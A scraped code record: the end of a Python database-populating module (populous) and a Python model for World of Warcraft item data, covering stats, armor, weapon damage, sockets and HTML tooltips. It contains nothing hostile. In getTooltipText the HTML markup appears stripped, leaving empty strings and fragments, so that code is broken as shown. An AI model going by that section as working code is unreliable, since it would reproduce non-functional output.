populous.factory import ItemFactory\nfrom populous.vars import Expression\nfrom populous.vars import ValueExpression\nfrom populous.vars import parse_vars\n\nlogger = logging.getLogger('populous')\n\nITEM_KEYS = ('name', 'parent', 'table', 'count', 'fields', 'store_in')\nCOUNT_KEYS = ('number', 'by', 'min', 'max')\n\n\nclass Item:\n\n def __init__(self, blueprint, name, table, parent=None, store_in=None):\n self.blueprint = blueprint\n\n if parent:\n table = table or parent.table\n store_in = store_in or parent._store_in\n\n if not name:\n # if any of our parent had a name we would have inherited it\n raise ValidationError(\"Items without a parent must have a name.\")\n\n if not table:\n raise ValidationError(\n f\"Item '{name}' does not have a table.\"\n )\n\n self.name = name\n self.table = table\n self.count = Count(\n number=0, by=None, min=None, max=None, blueprint=blueprint\n )\n self.fields = OrderedDict()\n self._store_in = store_in\n self._set_store_in(store_in)\n\n self.add_field('id', 'Value', value=None, shadow=True)\n\n if parent:\n for name, field in parent.fields.items():\n self.add_field(name, type(field).__name__, **field.kwargs)\n self.count = parent.count\n\n if parent:\n self.ancestors = parent.ancestors\n # only add parent to ancestors if it will not be generated\n # otherwise we would generate our children for both our parent\n # and us\n if parent.count.number == 0:\n self.ancestors += [parent.name]\n else:\n self.ancestors = []\n\n @cached_property\n def namedtuple(self):\n fields = tuple(self.fields.keys())\n if self.count.by:\n fields += (self.count.by,)\n return namedtuple(self.name, fields)\n\n @cached_property\n def db_fields(self):\n return tuple(\n name for name, field in self.fields.items() if not field.shadow\n )\n\n def _set_store_in(self, store_in):\n if not store_in:\n self.store_in_global = {}\n self.store_in_item = {}\n return\n\n self.store_in_global = {\n name: parse_vars(expression)\n for name, expression in store_in.items()\n if not name.startswith('this.')\n }\n # create the global var in the blueprint\n for name in self.store_in_global:\n self.blueprint.vars.setdefault(name, [])\n\n self.store_in_item = {\n ValueExpression(name): parse_vars(expression)\n for name, expression in store_in.items()\n if name.startswith('this.')\n }\n # create a \"store\" generator on the targeted item\n for expr in self.store_in_item:\n target_name, store_name = expr.attrs.rsplit('.')[-2:]\n try:\n target = self.blueprint.items[target_name]\n except KeyError:\n raise ValidationError(\n \"Error in 'store_in' section in item '{}': \"\n \"The item '{}' does not exist.\"\n .format(self.name, target_name)\n )\n target.add_field(store_name, 'Store')\n\n def add_field(self, name, generator, **params):\n if not generator:\n parent_field = self.fields.get(name, None)\n if parent_field:\n # if the field already exists and a new generator\n # has not been set, we use the same generator and the\n # same default params than the existing one\n generator = type(parent_field).__name__\n parent_kwargs = copy.deepcopy(parent_field.kwargs)\n parent_kwargs.update(params)\n params = parent_kwargs\n else:\n raise ValidationError(\n \"Field '{}' in item '{}' must either be a value, or \"\n \"a dict with a 'generator' key.\"\n .format(name, self.name)\n )\n\n try:\n generator_cls = getattr(generators, generator)\n except AttributeError:\n raise ValidationError(\n \"Item '{}', field '{}': Generator '{}' does not exist.\"\n .format(self.name, name, generator)\n )\n self.fields[name] = generator_cls(self, name, **params)\n\n def add_count(self, number=None, by=None, min=None, max=None):\n number = parse_vars(number)\n min = parse_vars(min)\n max = parse_vars(max)\n\n for key, value in zip(('number', 'min', 'max'), (number, min, max)):\n if value is None:\n continue\n if isinstance(value, int):\n if value < 0:\n raise ValidationError(\n \"Item '{}' count: {} must be positive.\"\n .format(self.name, key)\n )\n elif not isinstance(value, Expression):\n raise ValidationError(\n \"Item '{}' count: {} must be an integer or a variable \"\n \"(got: '{}').\"\n .format(self.name, key, type(value).__name__)\n )\n\n current_count = self.count\n if current_count:\n # this item already has a count, merge it\n by = by or current_count.by\n if min is None and max is None:\n number = number or current_count.number\n if number is None:\n if min is None:\n min = current_count.min\n if max is None:\n max = current_count.max\n\n if min is not None or max is not None:\n if number is not None:\n raise ValidationError(\n \"Item '{}' count: Cannot set 'number' and 'min/max'.\"\n .format(self.name)\n )\n\n # treat None as 0\n min = min or 0\n max = max or 0\n\n if isinstance(min, int) and isinstance(max, int) and min > max:\n raise ValidationError(\n \"Item '{}' count: Min is greater than max.\"\n .format(self.name)\n )\n\n self.count = Count(\n number=number, by=by, min=min, max=max, blueprint=self.blueprint\n )\n\n def preprocess(self):\n seen_fields = self.blueprint.seen[self.table]\n db_fields = []\n to_fill = []\n for field in self.fields.values():\n if field.shadow or not getattr(field, 'unique'):\n continue\n\n index = len(db_fields)\n if field.unique_with:\n fields = (field.field_name,) + tuple(field.unique_with)\n if fields not in seen_fields:\n db_fields += fields\n to_fill.append((field, slice(index, index + len(fields))))\n field.seen = seen_fields[fields]\n else:\n field_name = field.field_name\n if field_name not in seen_fields:\n db_fields.append(field_name)\n to_fill.append((field, index))\n field.seen = seen_fields[field_name]\n\n if not db_fields:\n return\n\n for values in self.blueprint.backend.select(self.table, db_fields):\n for field, index in to_fill:\n field.seen.add(values[index], check=False)\n\n def batch_written(self, buffer, batch, ids):\n logger.info(f\"{len(batch):>5} {self.name} written\")\n\n objs = tuple(e._replace(id=id) for (e, id) in zip(batch, ids))\n self.store_final_values(objs)\n self.generate_dependencies(buffer, objs)\n\n def store_final_values(self, objs):\n # replace the temporary stored objects by the final value\n # (now that we know computed fields like 'id')\n\n def _get_values(expression):\n for obj in objs:\n self.blueprint.vars['this'] = obj\n yield expression.evaluate(**self.blueprint.vars)\n del self.blueprint.vars['this']\n\n for name, expression in self.store_in_global.items():\n store = self.blueprint.vars[name]\n store[-len(objs):] = _get_values(expression)\n\n for name_expr, value_expr in self.store_in_item.items():\n stores = {}\n\n # group the values by each instance of the store,\n # so that we know how many items we have to update\n # for each instance\n for i, obj in enumerate(objs):\n self.blueprint.vars['this'] = obj\n store = name_expr.evaluate(**self.blueprint.vars)\n value = value_expr.evaluate(**self.blueprint.vars)\n\n holder = stores.setdefault(id(store), (store, []))\n holder[1].append(value)\n\n del self.blueprint.vars['this']\n\n # now that we have separated the different instance,\n # we can update the last values\n for store, values in stores.values():\n store[-len(values):] = values\n\n def store_value(self, obj):\n self.blueprint.vars['this'] = obj\n\n for name, expression in self.store_in_global.items():\n store = self.blueprint.vars[name]\n value = expression.evaluate(**self.blueprint.vars)\n store.append(value)\n\n for name_expr, value_expr in self.store_in_item.items():\n store = name_expr.evaluate(**self.blueprint.vars)\n store.append(value_expr.evaluate(**self.blueprint.vars))\n\n del self.blueprint.vars['this']\n\n def generate(self, buffer, count, parent=None):\n factory = ItemFactory(self, parent=parent)\n\n for i in range(count):\n self.blueprint.vars['this'] = factory\n obj = factory.generate()\n del self.blueprint.vars['this']\n\n self.store_value(obj)\n buffer.add(obj)\n\n def generate_dependencies(self, buffer, batch):\n # generate items having a \"count by\" on this item\n # or one of its ancestors\n names = frozenset(self.ancestors) | {self.name}\n for item in self.blueprint.items.values():\n by = item.count.by\n if by in names:\n for obj in batch:\n self.blueprint.vars[by] = obj\n count = item.count()\n del self.blueprint.vars[by]\n if count:\n item.generate(buffer, count, parent=obj)\n buffer.write(item)\n\n def db_values(self, obj):\n return tuple(getattr(obj, field) for field in self.db_fields)\n\n\nclass Count(namedtuple('Count', COUNT_KEYS + ('blueprint',))):\n __slots__ = ()\n\n def evaluate(self, value):\n if isinstance(value, Expression):\n return value.evaluate(**self.blueprint.vars)\n return value\n\n def __call__(self):\n if self.number is not None:\n return self.evaluate(self.number)\n return random.randint(self.evaluate(self.min), self.evaluate(self.max))\n","repo_name":"peopledoc/populous","sub_path":"populous/item.py","file_name":"item.py","file_ext":"py","file_size_in_byte":11379,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"21"} +{"seq_id":"13206684516","text":"from .abstract import AbstractModel\nfrom .character import ChrClasses\nfrom .misc import ManifestInterfaceData, RandPropPoints, CurvePoint\nfrom .itemEffect import ItemEffect\nfrom .spellItemEnchantment import SpellItemEnchantment\nfrom .gametable import CombatRatingsMultByILvl, StaminaMultByILvl\nfrom ..constants import CHR_STATS, ITEM_INVTYPE, INVENTORY_TYPES, CHR_PRIMARY_STATS, ITEM_MATERIAL_TYPES, ITEM_QUALITY_COLORS, ITEM_FLAGS\nfrom ..utilities import iconBase64Html, FormatOutput, formatGold, arrayFromB32, formatInt, s\nfrom ..manager import DB\nimport math\nimport itertools\nimport operator\nfrom slugify import slugify\nimport difflib\nfrom .skill import SkillLine\n\ndef loadManyItems (data):\n indices = [x[\"id\"] for x in data]\n [ItemSparse(x) for x in DB[\"ItemSparse\"].find({\"id\":{\"$in\":indices}})]\n modifiedAppearance = ItemModifiedAppearance.Many(indices, field=\"id_parent\")\n ManifestInterfaceData.Many([x.itemAppearanceID for x in modifiedAppearance])\n output = [Item(x.pop(\"id\"), **x) for x in data]\n return output\n\nclass Item (AbstractModel):\n SUBCLASS_SKILLS = SkillLine.Find({\"CategoryID\":{\"$in\":(6,8)}}) \n TABLE = {\"table\":\"Item\", \"id_field\":\"id\"}\n def __init__ (self, id, **kwargs):\n super (Item, self).__init__(id, **kwargs)\n # self.selected = kwargs.pop (\"isSelected\", False)\n self._sparse = None\n self.enchant = None\n self.gems = None\n\n self.souldbindConduit = None\n self.soulbindConduitRank = None\n self.soulbindConduit = None\n\n self.setOptions (kwargs)\n\n def updateOptions (self, d):\n options = self.options.copy()\n options.update(d)\n self.setOptions(options)\n\n def setOptions (self, options={}):\n \n self.options = options\n self.setEnchantment (self.options.get(\"enchant_id\", None))\n self.setGems (self.options.get(\"gem_id\", None))\n \n conduitRank = self.options.get(\"conduit_rank\", 0)\n if conduitRank > 0:\n self.setSoulbindConduit (conduitRank)\n \n sparse = self.getSparse()\n\n if sparse:\n sparse.setOptions (self.options)\n sparse.setItemLevel(self.options.get(\"ilevel\", None))\n\n @classmethod\n def fromSimulationcraft (cls, data):\n parts = data.split(\",\")\n if parts :\n props = [x.split(\"=\") for x in parts]\n props.pop (0)\n\n output={}\n for attr, values in props:\n values = [formatInt(x) for x in values.split(\"/\")]\n if len(values) == 1:\n values = values[0]\n output[attr] = values\n\n return cls(output.pop(\"id\"), **output)\n\n # SimC Format\n def format (self):\n slots = [\"none\", \"head\", \"neck\", \"shoulder\", \"shirt\", \"chest\", \"waist\", \"legs\", \"feet\", \"wrist\", \"hands\", \"finger1\", \"trinket1\", \"main_hand\", \"off_hand\", \"main_hand\", \"back\", \"main_hand\", \"containers\", \"tabard\", \"chest\", \"main_hand\", \"off_hand\", \"off_hand\", \"ammo\", \"thrown\", \"main_hand\", \"quiver\", \"relic\"]\n sparse = self.getSparse()\n if sparse :\n \n d = {}\n d[\"name\"] = slugify(self.name, separator=\"_\", replacements=[[\"'\", \"\"]], word_boundary=True)\n d[\"slot\"] = slots[sparse.inventoryType]\n d[\"itemID\"] = self.id\n\n whiteList = [\"bonus_id\", \"enchant_id\", \"gem_id\", \"drop_level\", \"crafted_stats\", \"ilevel\"]\n properties = {}\n for attr, values in self.options.items():\n if attr in whiteList :\n if isinstance(values, list):\n formatted = \"/\".join(map(str,values))\n else :\n formatted = str(values)\n properties[attr] = formatted\n\n d[\"options\"] = \",\".join([\"{}={}\".format(k, v) for k,v in properties.items()])\n output = \"{slot}={name},id={itemID},{options}\".format(**d)\n\n return output\n\n def setSoulbindConduit (self, rank):\n sparse = self.getSparse()\n if sparse and sparse.isSoulbindConduit():\n from .soulbind import SoulbindConduit, SoulbindConduitRank, SoulbindConduitItem, SoulbindConduitRankProperties\n conduitItem = next(iter(SoulbindConduitItem.Find({\"ItemID\":self.id})), None)\n if conduitItem :\n self.soulbindConduitRank = next(iter(SoulbindConduitRank.Find({\"id_parent\":conduitItem.soulbindConduitID,\"Rank\":rank})),None)\n self.soulbindConduit = SoulbindConduit(self.soulbindConduitRank._cache[\"id_parent\"])\n prop = SoulbindConduitRankProperties(rank)\n sparse.setItemLevel(prop.itemLevel)\n sparse.setQuality(prop.quality)\n\n def getSoulbindConduitRank (self):\n if self.soulbindConduitRank :\n return self.soulbindConduitRank\n \n def getSoulbindConduit (self):\n if self.soulbindConduit :\n return self.soulbindConduit\n\n @property\n def name (self):\n sparse = self.getSparse()\n if sparse :\n return sparse.display\n return \"\"\n \n def getBonusTree (self):\n link = next(iter(ItemXBonusTree.FromParent(self.id)), None)\n if link:\n return ItemBonusTreeNode.Find({\"id_parent\":link.itemBonusTreeID})\n\n def getClass (self):\n return next(iter(ItemClass.Find({\"ClassID\":self.classID})), None)\n \n def getSubClass (self):\n return next(iter(ItemSubClass.Find({\"ClassID\":self.classID, \"SubClassID\":self.subclassID})), None)\n\n def getClassSkillLine (self):\n subClass = self.getSubClass()\n d = {skill.displayName : skill for skill in self.SUBCLASS_SKILLS}\n matches = difflib.get_close_matches(subClass.displayName, d.keys(), n=1, cutoff=0.5) \n if matches:\n return d.get(matches[0], None)\n\n def setEnchantment (self, enchantId):\n if enchantId :\n itemEchantment = SpellItemEnchantment(enchantId)\n if itemEchantment.exists() :\n self.enchant = itemEchantment\n\n def setGems (self, gems):\n if gems :\n if isinstance (gems, int):\n gems = [gems]\n self.gems = []\n for gem in gems:\n item = Item(gem)\n sparse = item.getSparse()\n if item.exists() and sparse.gemProperties:\n self.gems.append(item)\n \n def getArmor (self):\n sparse = self.getSparse()\n if sparse :\n # All ItemArmorQuality entries are the same\n # Let's just always use the same one to avoid queries\n \n quality = sparse.getQuality()\n ilvl = sparse.getItemLevel()\n subClass = self.getSubclass()\n armorType = subClass.displayName.lower ()\n\n if armorType == \"shield\":\n sparse = self.getSparse()\n ilvl = sparse.getItemLevel()\n armorShield = ItemArmorShield[ilvl]\n armorValue = armorShield.quality[quality]\n return math.floor(armorValue+0.5)\n \n armorQuality = ItemArmorQuality(1)\n armorQualityMod = armorQuality.qualitymod.get(quality, 1)\n armorLocation = ArmorLocation[self.inventoryType]\n armorTotal = ItemArmorTotal[ilvl]\n\n if hasattr(armorTotal, armorType) :\n attrArmorLoc = \"{}modifier\".format(armorType)\n invTypMod = getattr(armorLocation, attrArmorLoc.replace(\"mail\", \"chain\"))\n armorValue = getattr(armorTotal, armorType)\n return math.floor(armorValue*armorQualityMod*invTypMod+0.5)\n \n def getBonusList (self):\n return sum([ItemBonus.Find ({\"id_parent\":bonusID})for bonusID in self.options.get(\"bonus_id\", [])], [])\n\n def getMaterial (self):\n return ITEM_MATERIAL_TYPES.get(self.material, None)\n\n def effects(self):\n effects = ItemEffect.FromParent(self.id, parent=self)\n sparse = self.getSparse()\n if sparse :\n ilvl = sparse.getItemLevel()\n for effect in effects :\n effect.setItemLevel (ilvl)\n return effects\n\n def modifiedAppearance(self):\n return ItemModifiedAppearance.FromParent(self.id, parent=self)\n\n def getModifiedAppearance (self):\n ma = self.modifiedAppearance()\n if ma : \n return ma[0]\n \n def xBonusTree (self):\n return ItemXBonusTree.FromParent(self.id, parent=self)\n \n def getEffects (self):\n effects = self.effects() or []\n bl = self.getBonusList()\n for bonus in bl :\n if bonus and bonus.type == 23:\n itemEffectID = bonus.value[1]\n itemEffect = ItemEffect(itemEffectID)\n effects.append (itemEffect)\n if effects : \n return effects\n return []\n \n def getBonusTrees (self):\n effects = self.effects()\n if effects : \n return effects\n return []\n\n def getSearchName (self):\n return ItemSearchName(self.id, **self.options)\n\n def getSparse (self, force=False):\n if self._sparse and not force :\n return self._sparse\n sparse = ItemSparse(self.id, **self.options)\n if sparse.exists():\n self._sparse = sparse\n return sparse\n else :\n searchName = self.getSearchName()\n if searchName.exists():\n items = ItemSearchName.Find({\"Display_lang\":searchName.display})\n for item in items:\n sparse = item.getSparse()\n if sparse :\n self._sparse = sparse\n return sparse\n \n def getIcon (self, size=35, **kwargs):\n sparse = self.getSparse()\n d = kwargs\n if sparse:\n qualityColor = sparse.getQualityColor()\n d.update({\"borderColor\":qualityColor})\n if self.iconFileDataID != 0 :\n uiData = ManifestInterfaceData(self.iconFileDataID)\n return uiData.getIcon(size, **d)\n else :\n ma = self.getModifiedAppearance()\n return ma.getIcon(size, **d)\n \n def getShortText(self, iconSize = 15, **kwargs):\n icon = self.getIcon(size=iconSize, **kwargs)\n return '

{icon} {name}

'.format(icon=icon, name=self.name, style=s(size=12, color=qualityColor))\n\n def getSubclass (self):\n return next(iter(ItemSubClass.FindReference({\"classID\":self.classID, \"subClassID\":self.subclassID})), None)\n\n def getWeaponDps (self):\n if self.classID == 2 :\n sparse = self.getSparse()\n ilvl = sparse.getItemLevel()\n WEAPON_DAMAGE_TYPES = {1:ItemDamageTwoHand, 2:ItemDamageTwoHandCaster ,3:ItemDamageOneHand, 5:ItemDamageAmmo, 8:ItemDamageOneHand}\n # Change sheatheType to SubClass\n if sparse.sheatheType :\n damageType = WEAPON_DAMAGE_TYPES[sparse.sheatheType][ilvl]\n return round(damageType.quality[sparse.overallQualityID+1], 1)\n \n def getWeaponSpeed(self):\n if self.classID == 2 :\n sparse = self.getSparse()\n return sparse.itemDelay * 0.001\n \n def getWeaponDamageRange (self):\n if self.classID == 2 :\n sparse = self.getSparse()\n dps = self.getWeaponDps()\n speed = self.getWeaponSpeed()\n minDmg = math.floor( dps * speed * ( 1 - sparse.dmgVariance * 0.5 ) ) \n maxDmg = math.ceil( dps * speed * ( 1 + sparse.dmgVariance * 0.5 ) )\n return (minDmg, maxDmg)\n\n def getTooltipText (self, displayLevel=1):\n lines = \"\"\n BONDING_TYPES = [\"No bounds\", \"Binds when picked up\", \"Binds when equipped\", \"Binds when used\", \"Quest item\", \"Quest Item1\"]\n # Get elements\n sparse = self.getSparse()\n \n subClass = self.getSubclass()\n effects = self.getEffects()\n ilvl = sparse.getItemLevel()\n nameDesc = sparse.getNameDescription()\n flags = sparse.getFlags()\n mount = next(filter(None, [x.getMount() for x in effects if x.exists()]), False)\n\n # Header\n lines += ''\n lines += ''\n lines += ''.format(name=self.name, style = s(size=14, weight=700, color=sparse.getQualityColor()))\n lines += ''.format(icon=self.getIcon(size=35, borderColor=(0,0,0)))\n lines += ''\n if nameDesc :\n lines += ''\n lines += ''.format(nameDesc = nameDesc.description , style=s(size=12, color=(30,255,0)) )\n lines += ''\n if ilvl :\n lines += ''\n lines += ''.format(ilvl = ilvl , style=s(size=12, color=(255, 209, 0)) )\n lines += ''\n if mount :\n lines += ''\n lines += ''.format(style=s(size=12) )\n lines += ''\n if sparse.bonding >0:\n lines += ''\n lines += ''.format(bonding = BONDING_TYPES[sparse.bonding] , style=s(size=12) )\n lines += ''\n if sparse.description and (26 in flags or mount):\n lines += ''\n lines += ''.format(description = sparse.description , style=s(size=12, color=(30,255,0)) )\n lines += ''\n lines += '
{name}{icon}
{nameDesc}
Item Level {ilvl}
Mount (Account-wide)
{bonding}
Use: {description}
'\n\n # Equipment\n if sparse.inventoryType != 0 :\n lines += ''\n if 20 in flags :\n lines += ''\n lines += ''.format(style=s(size=12) )\n lines += ''\n\n lines += ''\n lines += ''.format(invType = INVENTORY_TYPES[sparse.inventoryType] , style=s(size=12) )\n lines += ''.format(subclass = subClass.displayName , style=s(size=12) )\n lines += ''\n\n # Weapon\n if self.classID == 2 : \n dps = self.getWeaponDps()\n speed = self.getWeaponSpeed()\n minDmg, maxDmg = self.getWeaponDamageRange()\n\n lines += ''\n lines += ''.format(minDmg=minDmg,maxDmg=maxDmg, style=s(size=12) )\n lines += ''\n lines += ''\n lines += ''.format(dps=dps, style=s(size=12) )\n lines += ''.format(speed=speed, style=s(size=12) )\n lines += '' \n lines += '
Unique-Equipped
{invType}{subclass}
{minDmg} - {maxDmg} Damage
({dps} damage per second)Speed {speed:.2f}
'\n\n armor = self.getArmor()\n stats = sparse.getStats()\n lines += ''\n if armor :\n lines += ''\n lines += ''.format(armor=int(armor), style=s(size=12) )\n lines += ''\n for stat in stats :\n statColor = (30,255,0)\n if stat[\"id\"] in CHR_PRIMARY_STATS+[7]:\n statColor = (255,255,255)\n lines += ''\n lines += ''.format(\"+{} {}\".format(stat[\"amount\"], stat[\"name\"]) , style=s(size=12, color=statColor) )\n lines += ''\n \n if sparse.isIndestructible() :\n lines += ''\n lines += ''.format(style=s(size=12, color=statColor) )\n lines += ''\n\n if self.enchant :\n lines += ''\n lines += ''.format(enchantment = self.enchant.getName() , style=s(size=12, color=(30,255,0)) )\n lines += ''\n\n lines += '
{armor} Armor
{}
Indestructible
Enchanted: {enchantment}
'\n \n sockets = sparse.getSockets()\n if sockets :\n lines += ''\n if self.gems :\n for gem in self.gems :\n gemSparse = gem.getSparse()\n gemProp = GemProperties (gemSparse.gemProperties)\n gemEnchant = SpellItemEnchantment (gemProp.enchantID)\n \n lines += ''\n lines += ''.format(\"{icon} {text}\".format(icon=gem.getIcon(size=15), text=gemEnchant.getName()), style=s(size=12, color=(163,53,206)) )\n lines += ''\n else :\n for socket in sockets:\n lines += ''\n lines += ''.format(socket, style=s(size=12) )\n lines += ''\n \n if sparse.socketMatchEnchantmentID :\n socketBonus = SpellItemEnchantment (sparse.socketMatchEnchantmentID)\n lines += ''\n lines += ''.format(\"{text}\".format(text=socketBonus.getName()), style=s(size=12, color=(150,150,150)) )\n lines += ''\n\n lines += '
{}
{}
{}
'\n\n \n triggersTypes = [\"Use\", \"Equip\", \"UNK2\", \"UNK3\", \"UNK4\", \"\", \"Use\"]\n lines += ''\n hasShadowlandLegendaryPower = sparse.hasShadowlandLegendaryPower()\n for effect in effects :\n spell = effect.getSpell()\n if hasShadowlandLegendaryPower:\n lines += \"
\"\n lines += ''\n lines += ''.format(description=spell.getDescription(), style=s(size=12, color=(255, 209, 0)) )\n lines += ''\n lines += ''\n lines += ''.format(name=spell.name, style=s(size=12, color=(255, 255, 255)) )\n lines += ''\n lines += ''\n lines += ''.format(description=spell.getDescription(), style=s(size=12, color=(30,255,0)) )\n lines += ''\n lines += \"
\"\n else :\n spellEffect = spell.getCurrentEffects()[0]\n spellEffectItemID = spellEffect.effectItemType\n if spellEffectItemID and spellEffectItemID != self.id:\n spellEffectItem = Item(spellEffectItemID)\n lines += \"
\"\n lines += spellEffectItem.getTooltipText()\n\n if spell.description and not mount:\n cd=False\n triggerType = triggersTypes[effect.triggerType]\n if effect.triggerType == 0 :\n cd = spell.getCooldown(formatType=\"short\")\n cooldown = \" ({} cooldown)\".format(cd) if cd else \"\"\n lines += ''\n lines += ''.format(triggerType=triggerType,description=spell.getDescription(),cooldown=cooldown, style=s(size=12, color=(30,255,0)) )\n lines += ''\n if sparse.isSoulbindConduit():\n soulbindConduitRank = self.getSoulbindConduitRank()\n spell = soulbindConduitRank.getSpell()\n lines += \"
\"\n lines += spell.getTooltipText(icon=False, footer=False).replace(\"font-weight:700;\", \"\")\n skill = sparse.getSkill()\n if skill :\n lines += ''\n lines += ''.format(skill=skill.displayName, skillLevel=sparse.requiredSkillRank, style=s(size=12))\n lines += ''\n if 64 in flags :\n lines += ''\n lines += ''.format(style=s(size=12, color=(102,187,255)))\n lines += ''\n if sparse.stackable > 1:\n lines += ''\n lines += ''.format(maxStack=sparse.stackable, style=s(size=12))\n lines += ''\n if sparse.requiredLevel:\n lines += ''\n lines += ''.format(level=sparse.requiredLevel, style=s(size=12))\n lines += ''\n if sparse.allowableClass:\n chrClasse = ChrClasses(sparse.allowableClass)\n if chrClasse.exists() :\n lines += ''\n lines += ''.format(chrClass=chrClasse.name, style=s(size=12))\n lines += ''\n if 3 in flags :\n lines += ''\n lines += ''.format(style=s(size=12, color=(30,255,0)))\n lines += ''\n if mount :\n mountCapability = mount.getCapability()\n ridingLabel = mountCapability.getReqRidingSkillLabel()\n lines += ''\n lines += ''.format(ridingLabel = ridingLabel, style=s(size=12) )\n lines += ''\n if sparse.description and not (26 in flags or mount):\n lines += ''\n lines += ''.format(description = sparse.description , style=s(size=12, color=(255, 209, 0)) )\n lines += ''\n if mount :\n lines += ''\n lines += ''.format(mountDesc = mount.description , style=s(size=12, color=(255, 209, 0)) )\n lines += ''\n lines += ''\n lines += ''.format(mountSource = mount.getSourceText() , style=s(size=12) )\n lines += ''\n if sparse.sellPrice:\n lines += ''\n lines += ''.format(sellPrice=sparse.getSellPrice(), style=s(size=12))\n lines += ''\n lines += '
Legendary Power
- {name}
{description}
{triggerType}: {description}{cooldown}
Requires {skill} ({skillLevel})
Crafting Reagent
Max Stack: {maxStack}
Requires Level {level}
Requires {chrClass}
<Right Click to Open>
Requires {ridingLabel}
\"{description}\"
\"{mountDesc}\"
{mountSource}
Sell Price: {sellPrice}
'\n \n if displayLevel > 1:\n # Flags\n lines += '

Flags

'.format(style = s(size=12, weight=700))\n lines += '
    '\n for flag in flags:\n lines += \"
  • • {flag}
  • \".format(flag=ITEM_FLAGS.get(flag, \"UNK FLAG {}\".format(flag)), style= s(size=11))\n lines += '
'\n\n #ID \n lines += '
'\n lines += '

ID: {}

'.format(self.id, style= s(size=11))\n return lines\n\nclass ItemSearchName (AbstractModel):\n TABLE = {\"table\":\"ItemSearchName\", \"id_field\":\"id\"}\n def __init__ (self, id, **kwargs):\n super (ItemSearchName, self).__init__(id, **kwargs)\n self.overrideItemLevel = None\n self.overrideQuality = None\n self.setOptions (kwargs)\n\n def setOptions (self, options):\n self.options = options\n\n def getNameDescription (self):\n bl = self.getBonusList()\n nameDescId = 0\n for bonus in bl :\n if bonus.exists() and bonus.type == 4:\n nameDescId = bonus.value[1]\n if nameDescId :\n return ItemNameDescription[nameDescId]\n\n def getBonusList (self):\n return sum([ItemBonus.Find ({\"id_parent\":bonusID})for bonusID in self.options.get(\"bonus_id\", [])], [])\n\n def setItemLevel(self, itemLevel):\n if itemLevel :\n self.overrideItemLevel = itemLevel\n return True\n\n def getItemLevel (self):\n ilvl = self.itemLevel\n if self.overrideItemLevel :\n return self.overrideItemLevel\n\n bl = self.getBonusList()\n for bonus in bl :\n if bonus.exists() :\n if bonus.type == 1:\n value = sum(bonus.value.values())\n ilvl+=value\n elif bonus.type == 13:\n #CurveID\n pt = 0 #not sure about this, may be value[1] ?\n if self.options.get(\"drop_level\", None):\n pt = self.options.get(\"drop_level\", None)\n curveID = bonus.value[4]\n ilvl = int(CurvePoint.getInterpolation(self.options.get(\"drop_level\", None) if self.options.get(\"drop_level\", None) else 0, curveID=curveID))\n return ilvl\n\n def getFlags (self):\n return sum([[f+(i*32) for f in arrayFromB32(x)] for i, x in enumerate(self.flags.values())], [])\n\n def setQuality(self, quality):\n self.overrideQuality = quality\n return True\n\n def getQuality (self):\n if self.overrideQuality :\n return self.overrideQuality\n bl = self.getBonusList()\n quality = self.overallQualityID\n for bonus in bl :\n if bonus.exists() and bonus.type == 3:\n bonusQuality = max(bonus.value.values())\n if bonusQuality > quality:\n quality = bonusQuality\n return quality\n def getQualityColor (self):\n quality = self.getQuality()\n if quality < len(ITEM_QUALITY_COLORS):\n return ITEM_QUALITY_COLORS[quality]\n return (255,255,255)\n \n def getSparse (self):\n sparse = ItemSparse(self.id)\n if sparse.exists():\n return sparse\n\nclass ItemSparse (ItemSearchName):\n TABLE = {\"table\":\"ItemSparse\", \"id_field\":\"id\"}\n def __init__ (self, id, **kwargs):\n super (ItemSparse, self).__init__(id, **kwargs)\n \n def getMaterial (self):\n return ITEM_MATERIAL_TYPES.get(self.material, None)\n\n def getAllowableClass (self):\n return arrayFromB32(self.allowableClass)\n\n def getInventoryTypeName (self):\n return INVENTORY_TYPES[self.inventoryType]\n\n def getSkill (self):\n if self.requiredSkill :\n from .skill import SkillLine\n return SkillLine(self.requiredSkill)\n\n def isShadowlandLegendary (self):\n return self.getFlags() == [45, 46, 47, 55]\n\n def hasShadowlandLegendaryPower (self):\n bl = self.getBonusList()\n # Check in RuneforgeLegendaryAbility for ItemBonusListID\n hasItemBonus = any (True if bonus.exists() and bonus.type==31 else False for bonus in bl)\n return self.isShadowlandLegendary() and hasItemBonus\n\n def isSoulbindConduit (self):\n # Tricky way to know and do not require to call another DB\n flags = self.getFlags()\n flags.sort()\n if flags == [7,13,16,39,46,47,88,96,98]:\n return True\n return False\n\n def getSockets (self, size=15, html=True):\n result = []\n sockets = list(self.socketType.values())\n\n bl = self.getBonusList()\n for bonus in bl :\n if bonus.exists() and bonus.type == 6:\n count = bonus.value[1]\n for i in range (count):\n sockets.append(bonus.value[2])\n\n socketTypesMapping = {1:\"meta\", 2:\"red\", 4:\"yellow\", 7:\"prismatic\", 8:\"blue\", 19:\"punchcardred\", 20:\"punchcardyellow\", 21:\"punchcardblue\"}\n for socketType in sockets:\n if socketType!=0:\n socketName = socketTypesMapping[socketType]\n filename = \"ui-emptysocket-{socketType}\".format(socketType=socketName)\n icon = iconBase64Html(filename, size=size, html=html)\n result.append( '{icon} {name} Socket'.format(icon=icon, name=socketName.title()))\n return result\n\n def isIndestructible (self):\n bl = self.getBonusList()\n return any( bonus for bonus in bl if bonus.type==2 and bonus.value[1] == 64 )\n\n @FormatOutput(formatGold)\n def getSellPrice (self):\n return self.sellPrice\n\n def getStats (self):\n ilvl = self.getItemLevel()\n if not ilvl :\n return []\n bl = self.getBonusList()\n propPoints = RandPropPoints[ilvl]\n crMult = CombatRatingsMultByILvl[ilvl] #GameTable\n stamMult = StaminaMultByILvl[ilvl]\n budgets = propPoints.epic\n\n stats = [{\"name\":CHR_STATS[k], \"id\":k, \"alloc\":v} for k, v in zip(self.statModifierBonusStat.values(), self.statPercentEditor.values()) if k!=-1]\n\n # Tertiary Stats\n excludeTertiaries = (22,23,64) \n stats += [{\"name\":CHR_STATS[bonus.value[1]], \"id\":bonus.value[1], \"alloc\":bonus.value[2]} for bonus in bl if bonus.type==2 and bonus.value[1] not in excludeTertiaries]\n\n # Override Random Stats - Bonus ?\n overrideStats = [x.value[1] for x in bl if x.type==25]\n if self.options.get(\"crafted_stats\", None) :\n overrideStats+=self.options.get(\"crafted_stats\", None) \n randomStatsIds = [i for i, stat in enumerate(stats) if stat[\"id\"] in (24,25)]\n if len (overrideStats) == len(randomStatsIds):\n for i, statID in zip(randomStatsIds, overrideStats):\n stats[i].update({\"name\":CHR_STATS[statID], \"id\":statID})\n\n if self.inventoryType in [11,2] : # Neck and Rings\n 